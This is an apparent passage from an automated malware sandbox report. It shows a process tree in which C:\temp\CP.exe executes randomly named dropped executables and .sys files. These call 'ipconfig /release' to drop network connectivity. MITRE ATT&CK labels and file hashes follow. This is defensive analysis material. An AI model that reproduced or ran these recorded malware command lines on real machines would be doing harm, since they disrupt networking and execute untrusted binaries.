    - Suspicious use of WriteProcessMemory
    PID:4760
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1632
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1248
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_igavsqkida.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5544
- - C:\Temp\i_igavsqkida.exe
    C:\Temp\i_igavsqkida.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5248
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\dxspkifays.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2440
- - C:\Temp\dxspkifays.exe
    C:\Temp\dxspkifays.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6132
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4472
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5488
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_dxspkifays.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2596
- - C:\Temp\i_dxspkifays.exe
    C:\Temp\i_dxspkifays.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4624
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnhfxupmkf.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4028
- - C:\Temp\pnhfxupmkf.exe
    C:\Temp\pnhfxupmkf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5476
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2320
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1884
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnhfxupmkf.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3380
- - C:\Temp\i_pnhfxupmkf.exe
    C:\Temp\i_pnhfxupmkf.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5796
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jhczusmkec.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1776
- - C:\Temp\jhczusmkec.exe
    C:\Temp\jhczusmkec.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5404
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:724
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2404
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jhczusmkec.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4608
- - C:\Temp\i_jhczusmkec.exe
    C:\Temp\i_jhczusmkec.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1832
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hbzurpkecz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3224
- - C:\Temp\hbzurpkecz.exe
    C:\Temp\hbzurpkecz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4604
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3772
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5188
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hbzurpkecz.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1032
- - C:\Temp\i_hbzurpkecz.exe
    C:\Temp\i_hbzurpkecz.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1108
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\uomjebwuom.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2324
- - C:\Temp\uomjebwuom.exe
    C:\Temp\uomjebwuom.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4036
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1240
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5212
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_uomjebwuom.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4820
- - C:\Temp\i_uomjebwuom.exe
    C:\Temp\i_uomjebwuom.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5620
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdbwtolgeb.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5556
- - C:\Temp\jdbwtolgeb.exe
    C:\Temp\jdbwtolgeb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2580
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3940
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4348
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdbwtolgeb.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4044
- - C:\Temp\i_jdbwtolgeb.exe
    C:\Temp\i_jdbwtolgeb.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4700
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ytqlgdywto.exe ups_run
  2⤵
  PID:5948
- - C:\Temp\ytqlgdywto.exe
    C:\Temp\ytqlgdywto.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4708
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3212
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4016
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ytqlgdywto.exe ups_ins
  2⤵
  PID:2076
- - C:\Temp\i_ytqlgdywto.exe
    C:\Temp\i_ytqlgdywto.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4684
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wqoigaytql.exe ups_run
  2⤵
  PID:1304
- - C:\Temp\wqoigaytql.exe
    C:\Temp\wqoigaytql.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5208
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4964
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5008
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_wqoigaytql.exe ups_ins
  2⤵
  PID:1072
- - C:\Temp\i_wqoigaytql.exe
    C:\Temp\i_wqoigaytql.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3788
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ifdxspnifa.exe ups_run
  2⤵
  PID:3316
- - C:\Temp\ifdxspnifa.exe
    C:\Temp\ifdxspnifa.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4800
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3468
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2356
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ifdxspnifa.exe ups_ins
  2⤵
  PID:1956
- - C:\Temp\i_ifdxspnifa.exe
    C:\Temp\i_ifdxspnifa.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2148
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ausnkfdxvs.exe ups_run
  2⤵
  PID:1616
- - C:\Temp\ausnkfdxvs.exe
    C:\Temp\ausnkfdxvs.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5612
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2360
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4972
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ausnkfdxvs.exe ups_ins
  2⤵
  PID:5112
- - C:\Temp\i_ausnkfdxvs.exe
    C:\Temp\i_ausnkfdxvs.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5548
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pkhcausmkf.exe ups_run
  2⤵
  PID:2908
- - C:\Temp\pkhcausmkf.exe
    C:\Temp\pkhcausmkf.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4432
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4984
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5772
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pkhcausmkf.exe ups_ins
  2⤵
  PID:5660
- - C:\Temp\i_pkhcausmkf.exe
    C:\Temp\i_pkhcausmkf.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3920
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pmhczurpjh.exe ups_run
  2⤵
  PID:1640
- - C:\Temp\pmhczurpjh.exe
    C:\Temp\pmhczurpjh.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3712
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3248
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5184
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pmhczurpjh.exe ups_ins
  2⤵
  PID:5080
- - C:\Temp\i_pmhczurpjh.exe
    C:\Temp\i_pmhczurpjh.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4704
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hbztrmjebw.exe ups_run
  2⤵
  PID:4516
- - C:\Temp\hbztrmjebw.exe
    C:\Temp\hbztrmjebw.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2056
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5104
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5016
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hbztrmjebw.exe ups_ins
  2⤵
  PID:3048
- - C:\Temp\i_hbztrmjebw.exe
    C:\Temp\i_hbztrmjebw.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1056
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wuomgbywrl.exe ups_run
  2⤵
  PID:6064
- - C:\Temp\wuomgbywrl.exe
    C:\Temp\wuomgbywrl.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5620
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4740
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2576
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_wuomgbywrl.exe ups_ins
  2⤵
  PID:3896
- - C:\Temp\i_wuomgbywrl.exe
    C:\Temp\i_wuomgbywrl.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3768
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ljdbvtqljd.exe ups_run
  2⤵
  PID:5332
- - C:\Temp\ljdbvtqljd.exe
    C:\Temp\ljdbvtqljd.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3904
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1284
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5632
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ljdbvtqljd.exe ups_ins
  2⤵
  PID:5968

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5616

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1636

C:\Temp\ztoljebwro.sys
C:\Temp\ztoljebwro.sys
1⤵
- Executes dropped EXE
PID:3572

C:\Temp\gbztrljdbw.sys
C:\Temp\gbztrljdbw.sys
1⤵
- Executes dropped EXE
PID:4164

C:\Temp\gdywqoigav.sys
C:\Temp\gdywqoigav.sys
1⤵
- Executes dropped EXE
PID:1248

C:\Temp\tnlidbvtnl.sys
C:\Temp\tnlidbvtnl.sys
1⤵
- Executes dropped EXE
PID:5776

C:\Temp\kidavsnlfd.sys
C:\Temp\kidavsnlfd.sys
1⤵
- Executes dropped EXE
PID:3028

C:\Temp\auspkicaus.sys
C:\Temp\auspkicaus.sys
1⤵
- Executes dropped EXE
PID:1136

C:\Temp\cxusmkfcxv.sys
C:\Temp\cxusmkfcxv.sys
1⤵
- Executes dropped EXE
PID:1876

C:\Temp\usmkecwupm.sys
C:\Temp\usmkecwupm.sys
1⤵
- Executes dropped EXE
PID:2084

C:\Temp\ecwuomhezw.sys
C:\Temp\ecwuomhezw.sys
1⤵
- Executes dropped EXE
PID:3304

C:\Temp\uomgeywroj.sys
C:\Temp\uomgeywroj.sys
1⤵
- Executes dropped EXE
PID:5616

C:\Temp\qojgeytolg.sys
C:\Temp\qojgeytolg.sys
1⤵
PID:3760

C:\Temp\dyvqoigays.sys
C:\Temp\dyvqoigays.sys
1⤵
PID:5952

C:\Temp\sqkidavtqk.sys
C:\Temp\sqkidavtqk.sys
1⤵
PID:3476

C:\Temp\hfzxspnhca.sys
C:\Temp\hfzxspnhca.sys
1⤵
PID:4908

C:\Temp\fcxvpnhfzx.sys
C:\Temp\fcxvpnhfzx.sys
1⤵
PID:5088

C:\Temp\zusmkezxrp.sys
C:\Temp\zusmkezxrp.sys
1⤵
PID:1844

C:\Temp\omkecwuomh.sys
C:\Temp\omkecwuomh.sys
1⤵
PID:4108

C:\Temp\geywrojgbw.sys
C:\Temp\geywrojgbw.sys
1⤵
PID:1976

C:\Temp\hbwtojgbyw.sys
C:\Temp\hbwtojgbyw.sys
1⤵
PID:1236

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

auspkicaus.sys

Path C:\Temp\auspkicaus.sys
Size 141KB
SHA256 495fffa462d4f8e4abb8bf2fd786c526b395695791f331106fe15b202f5f3a16
MD5 50880787c76e8da93245bce1980ef4a2
SHA1 9b4077a079a45415b8441e2dada568ed36759a2f
SHA512 a90abb8d356b9d0b252db0aa097536954abc82d8ec571d79cb976c2d84790bd368e16f42c5cd9cb04998892a4fcdf50fa13817d78063d97c91d764f5aeea20bc
SSDEEP 3072:QsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:QsQmpcF8BzXfwV
TLSH
T1B5E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cwrpjhbwuo.exe

Path C:\Temp\cwrpjhbwuo.exe
Size 230KB
SHA256 aa63efbcba367878437d5e33b2d54973775a036121f53fdf818e064f4a41ce89
MD5 91f4567fd2b2f8602a70b223ad63d000
SHA1 a7e7cf07085444eaaada52ea8dc5e980cfbaa199
SHA512 f012f52f359d107b67a78ee9d47e624f3823830955067f769782fc6e8c92530d5aaedd66ad27d4bf9f475bcceca2262d7b4af36f1f3ecd89b64968d7a4ef82e9
SSDEEP 3072:RJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:RghLQ0sQmpcF8BzXfwVfAI
TLSH
T1F0344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dxspkifays.exe

Path C:\Temp\dxspkifays.exe
Size 230KB
SHA256 355e36fe2200ac2134404a70424455f61638f266fd2cdbe49b32fc2a1e4d23e0
MD5 a9b52b082c0dfc7383755ac59e9f5864
SHA1 033f5139a693921c79dbf7d46d7f650a39e332ae
SHA512 93f2044716acd1c123885fd08ff86413e58ef5bcd32575dc765b5fd23115a60fdaf4030105038eecebb19b58eff91cd6f0e6ba03942411c53804879a2726b455
SSDEEP 3072:AJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:AghLQ0sQmpcF8BzXfwVfAI
TLSH
T180344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gbztrljdbw.sys

Path C:\Temp\gbztrljdbw.sys
Size 141KB
SHA256 21c42cc7f0de101c3b4cd306c6383009cbe328571dfc3b6a239f6ddc838df6df
MD5 a03b5c3318a10c9bdf0b607a2da2aeb5
SHA1 546c394c4a7d26ff34e7a91020f4d47dfd9e5721
SHA512 67696d198d098d4a44ebb423554a7cdd8f749da8bb01f8a55dbb8a4dca501c10def279c056154d0f94e522556b6c194902abb219b79e2dd3427da99d1d1f3fbc
SSDEEP 3072:ksQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:ksQmpcF8BzXfwV
TLSH
T1FCE38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gdywqoigav.sys

Path C:\Temp\gdywqoigav.sys
Size 141KB
SHA256 2bdb426db78bc28d5281f38728b8ba67db7ce10dd11ccba5b3a4f1d3fc5fbaff
MD5 ca649d5221f5fba262ed99c2d98cefd2
SHA1 53c36a28202a9ffc1de41cabf96cba0bce63b06d
SHA512 48f3459fa76b37633fc1957ac22536f80b2da9ef5b77509537907ecfea338a7b20ebf7e5ad8e33dfb9f6939449e98b44dde8096176e2f4c14672f3f17ebac628
SSDEEP 3072:KsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:KsQmpcF8BzXfwV
TLSH
T14DE38D12B2D19172E8A618BC106AC72186BE79304F76D9C3FB940BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_cwrpjhbwuo.exe

Path C:\Temp\i_cwrpjhbwuo.exe
Size 230KB
SHA256 6572ea1fad1d6c8b4edda176f992a5073e3547df6b898c18d01354668f0a0404
MD5 3c5b2de52ac0bf82f82ee6b821d12589
SHA1 e36a3cb5e4997499cdf836178a691b8282ee502a
SHA512 fff1f568c9bd7edd517d3c6611892b5ad289f7af5016b8ef38c8046fa78f35cd6ddb5dd5f2f708ccf4124037bd08ff91f703451031e6fb41d5b3b87b74cf7366
SSDEEP 3072:4JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:4ghLQ0sQmpcF8BzXfwVfAI
TLSH
T175344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_dxspkifays.exe

Path C:\Temp\i_dxspkifays.exe
Size 230KB
SHA256 8556ead1423ecd94b650df9aeb9a3f863617827bf5498043044af7b6c2eb8f43
MD5 a052ae4986ae8bcf9e0b5f0423f074fd
SHA1 85e3d7a1fd00d71e44c7489aa98d51d5c67f92cb
SHA512 0c6c089b712d2f69c8b0bd46970816ca0de9d5c594aa5d96d6006daa0e5c45da5074edbac2d6eb72085302fcc71113d0eca5b9e7c5a4427ab11270533827d51f
SSDEEP 3072:uJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:ughLQ0sQmpcF8BzXfwVfAI
TLSH
T17A344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_igavsqkida.exe

Path C:\Temp\i_igavsqkida.exe
Size 230KB
SHA256 5fd7f011be639f9fbd101b245a2218cee4467111eddfa3ef25f19f9139253277
MD5 55a5bd354be9ee68b730e8738ddf731d
SHA1 b49fa212be50bab8902190504c4e816dc8bd6b7e
SHA512 dce25f2362e69fa2a2be0dde11e93d4fcbdd880f2f36fd7d0b58dabffdc0e59b84ebc5ca71fc0bf4cd66227f62ea7fec1b4a6421e650b1d6b5c2f161f5307def
SSDEEP 3072:PJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:PghLQ0sQmpcF8BzXfwVfAI
TLSH
T1BB344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ojgbztrmje.exe

Path C:\Temp\i_ojgbztrmje.exe
Size 230KB
SHA256 124e435de9745539e51b07a4fa0bdf7960586a5c325da7d1d2eac3a68cdd3041
MD5 10fc4f35dcb537999bf531e76a2ec045
SHA1 909a5bd367d1ff2dee71aefc68529de926646a4c
SHA512 6859c3751c8d7e40eca0ec489ba27b4b2f4b65df3e41e8fa5a16f2f7dc9e0d216340d9e41743a23e06fb15fbfa3548ba8d81e636856abbb9ea59d746cbd660a0
SSDEEP 3072:0JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:0ghLQ0sQmpcF8BzXfwVfAI
TLSH
T1E7344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qligaysqlf.exe

Path C:\Temp\i_qligaysqlf.exe
Size 230KB
SHA256 68c9af16b8ae8d8d586d5106ff54d0e7308ae5e9359723057c2bc08f3de2f3f2
MD5 2e2f8181540bb411e1519da1dca92104
SHA1 f5f78423eecddd3eec3e4f7e38ae02ed3539f6f5
SHA512 ec0631f2b2b2e5d50b0910ba5d43900efa1c8543e9578d61432d59404c4658b044d379f5110ac5d1b12063c914b4dcba8292afa8ff76d549b964a47ee0cccfad
SSDEEP 3072:2JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:2ghLQ0sQmpcF8BzXfwVfAI
TLSH
T13F344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ztoigbytrl.exe

Path C:\Temp\i_ztoigbytrl.exe
Size 230KB
SHA256 057efb55f96a187cac81357dda42973daea5ad2cb716b5c8d0f51de5e312a50f
MD5 e12e525551187d8158d3f857b05e0cdf
SHA1 3ecce69bc612df678cd6d5375ec05739051899a2
SHA512 6a25a40c2349e37cb80192952bd8272ba5ad1a9329160e71927c4e00635659ea54a594d79b8bcb0839d472eabd4bcfc4e0945e5b11af29f1978844bd32bb91de
SSDEEP 3072:0JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:0ghLQ0sQmpcF8BzXfwVfAI
TLSH
T1BE344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

igavsqkida.exe

Path C:\Temp\igavsqkida.exe
Size 230KB
SHA256 968a6934930f1255529991fd9b6d772a0ec1582880fdcf87215f92b34fe558c3
MD5 7ab52ad26eed907cc001c01a2aaa6c2e
SHA1 52cca191db55ba5fa65b20808a4effb87e0cf802
SHA512 75ee7d54d42c58abfe3845069f94358b2092c84df30c5075943367cd076d10586f961f20400ceb0b31ee102655c4d68248de763bac0c0893aa872f474386ebb6
SSDEEP 3072:DJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:DghLQ0sQmpcF8BzXfwVfAI
TLSH
T1E4344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kidavsnlfd.sys

Path C:\Temp\kidavsnlfd.sys
Size 141KB
SHA256 d317d5b46ae3d3d3938ad1fe572af6ae933c2359dbdd2f99c669ce7effacd767
MD5 395cec86f0d4ace7b9d41c9a16509aaf
SHA1 6c7327abb47b88087500f1be4fbefbb8df3b6bc3
SHA512 be849e3314ab3560612d54d1f741d7bb1eac85d9361d2dd79da2281755e7aff4f0f9f9320819c5c0e2a7b6018f0fcdb65c4504b36f81f4ea80652e6065f904f2
SSDEEP 3072:HsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:HsQmpcF8BzXfwV
TLSH
T1B2E38D12B2D1D172E8A618BC106AC72186BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ojgbztrmje.exe

Path C:\Temp\ojgbztrmje.exe
Size 230KB
SHA256 204c78ce0e81b9d13140aaba207287cb12302fb8a2585205d135ddece3fd4d47
MD5 c16efe308a54e35b8e9e85f9eac900dd
SHA1 761ef183262c8d8b099067e7dced017f1113aa58
SHA512 919be2ca35276dac9f6869492a1d0303e4c032b9032356a0bcbcf44df9b897353c5bd4d7121d53f7a1389fd953aed8f9f1090fe687f0f777fa5f8b1e1c8c0f0a
SSDEEP 3072:XJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:XghLQ0sQmpcF8BzXfwVfAI
TLSH
T18B344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qligaysqlf.exe

Path C:\Temp\qligaysqlf.exe
Size 230KB
SHA256 48a36f03617e61b46908507712afb869c1de145ea51e07fe2adf205cd5e4de36
MD5 7cac9dcfd6f28f304666eac7286f70a8
SHA1 2258dc6e2fa6569b1c804439af849e206a2cc484
SHA512 d2f6648c7c7c835b6a905fe795a58306e1ca42e9cebe3855104277cec4d4470b898f7c5cdff6d2b28c39333cc11884f29dbb742d99c2120922d872aa941473a1
SSDEEP 3072:eJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:eghLQ0sQmpcF8BzXfwVfAI
TLSH
T1EC344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tnlidbvtnl.sys

Path C:\Temp\tnlidbvtnl.sys
Size 141KB
SHA256 2b451d953214f090105fe4af186c6f7b0b7375ee70244d068d1d93f49bea133a
